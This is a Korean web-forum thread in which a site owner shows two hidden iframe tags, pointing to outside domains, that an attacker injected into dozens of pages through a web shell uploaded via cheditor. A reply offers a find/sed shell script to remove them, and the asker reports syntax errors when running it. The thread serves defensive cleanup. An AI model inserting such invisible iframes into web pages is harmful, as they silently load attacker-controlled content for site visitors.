ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1595 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 2,371
14년 전 조회 1,760
14년 전 조회 2,040
14년 전 조회 1,544
14년 전 조회 1,683
14년 전 조회 1,485
14년 전 조회 1,812
14년 전 조회 1,694
14년 전 조회 1,121
14년 전 조회 1,295
14년 전 조회 1,297
14년 전 조회 1,638
14년 전 조회 1,474
14년 전 조회 1,506
14년 전 조회 1,432
14년 전 조회 1,844
14년 전 조회 1,564
14년 전 조회 1,560
14년 전 조회 1,571
14년 전 조회 1,377
14년 전 조회 2,417
14년 전 조회 2,202
14년 전 조회 1,628
14년 전 조회 1,454
14년 전 조회 2,529
14년 전 조회 1,888
14년 전 조회 1,721
14년 전 조회 1,449
14년 전 조회 2,161
14년 전 조회 4,441
14년 전 조회 3,077
14년 전 조회 1,816
14년 전 조회 1,419
14년 전 조회 1,462
14년 전 조회 1,998
14년 전 조회 1,654
14년 전 조회 1,987
14년 전 조회 2,079
14년 전 조회 2,103
14년 전 조회 1,288
14년 전 조회 1,515
14년 전 조회 3,399
14년 전 조회 1,428
14년 전 조회 1,919
14년 전 조회 1,471
14년 전 조회 1,344
14년 전 조회 1,902
14년 전 조회 1,327
14년 전 조회 2,013
14년 전 조회 1,596
14년 전 조회 2,255
14년 전 조회 2,174
14년 전 조회 1,687
14년 전 조회 1,916
14년 전 조회 1,623
14년 전 조회 2,319
14년 전 조회 1,905
14년 전 조회 1,883
14년 전 조회 2,179
14년 전 조회 2,047
14년 전 조회 1,485
14년 전 조회 1,569
14년 전 조회 1,327
14년 전 조회 1,472
14년 전 조회 2,255
14년 전 조회 2,973
14년 전 조회 2,912
14년 전 조회 2,525
14년 전 조회 2,058
14년 전 조회 2,138
14년 전 조회 1,917
14년 전 조회 2,163
14년 전 조회 1,257
14년 전 조회 1,918
14년 전 조회 1,243
14년 전 조회 1,714
14년 전 조회 1,453
14년 전 조회 2,596
14년 전 조회 1,354
14년 전 조회 3,220
14년 전 조회 1,583
14년 전 조회 1,455
14년 전 조회 3,536
14년 전 조회 1,301
14년 전 조회 1,594
14년 전 조회 1,110
14년 전 조회 1,420
14년 전 조회 1,218
14년 전 조회 1,902
14년 전 조회 1,333
14년 전 조회 1,705
14년 전 조회 1,344
14년 전 조회 1,267
14년 전 조회 1,219
14년 전 조회 1,949
14년 전 조회 1,414
14년 전 조회 1,290
14년 전 조회 1,334
14년 전 조회 1,983
14년 전 조회 1,997